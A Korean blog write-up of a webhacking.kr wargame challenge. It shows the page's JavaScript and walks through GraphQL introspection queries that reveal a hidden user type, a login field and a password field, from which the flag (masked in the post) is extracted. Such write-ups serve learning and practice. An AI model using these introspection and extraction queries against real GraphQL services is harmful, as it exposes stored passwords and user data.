
4번 문제에요.
배점은 150점이에요.

Board
Hello world :)
Hell world :(


대충 이렇게 생겼어요.

html을 뜯어보면 script 가 있는데
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
 | 
 function getQueryVar(variable) { 
    var query = window.location.search.substring(1); 
    var vars = query.split('&'); 
    for (var i = 0; i < vars.length; i++) { 
        var pair = vars[i].split('='); 
        if (decodeURIComponent(pair[0]) == variable) { 
            return decodeURIComponent(pair[1]); 
        } 
    } 
} 
if(!getQueryVar("no")){ 
  q = `query{ 
    view{ 
      no, 
      subject 
    } 
  }`; 
  xhr = new XMLHttpRequest(); 
  xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); 
  xhr.send(); 
  res = JSON.parse(xhr.response); 
  for(i=0;i<res.data.view.length;i++){ 
    board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`; 
  } 
} 
else{ 
  q = `query{ 
    view{ 
      no, 
      subject, 
      content 
    } 
  }`; 
  xhr = new XMLHttpRequest(); 
  xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); 
  xhr.send(); 
  res = JSON.parse(xhr.response); 
  v = res.data.view; 
  try{ 
    parsed = v.find(v => v.no==getQueryVar("no")); 
    board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`; 
  } 
  catch{ 
    board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`; 
  } 
} 
 | 
cs | 
view.php 에다가 쿼리를 날리네요.

그걸 fiddler로 따서

그대로 get 를 날려보면

이런게 나오네요.

그러니 빈 쿼리를 날려보면?

에러가 떠요.
대충 GraphQL 이라네요.

암튼 GraphQL의 information_schema.tables 처럼 작동하는 쿼리인
query{__schema{types{name}}}
를 날려보면?

{"name":"User_d51e7f78cbb219316e0b7cfe1a64540a"},

이제 필드 이름을 알아내기 위해
query{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){name,fields{name}}}
를 날려보면?

{"name":"passwd_e31db968948082b92e60411dd15a25cd"}

그런데 작동을 Board로 질의를 안하고 view로 질의를 해야만 작동하는것처럼
User어쩌구로 질의를 할수 없으니

눈치껏 Query 의 필드 이름을 따보면?

{"name":"login_51b48f6f7e6947fba0a88a7147d54152"}

마지막으로
query{login_51b48f6f7e6947fba0a88a7147d54152{passwd_e31db968948082b92e60411dd15a25cd}}
를 날려보면?

{"passwd_e31db968948082b92e60411dd15a25cd":"FLAG{□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□
□□□□□□□□
'연구글 > webhacking.kr_renewal' 카테고리의 다른 글
| webhacking.kr Challenge BABY / HTML5 (0) | 2021.11.02 | 
|---|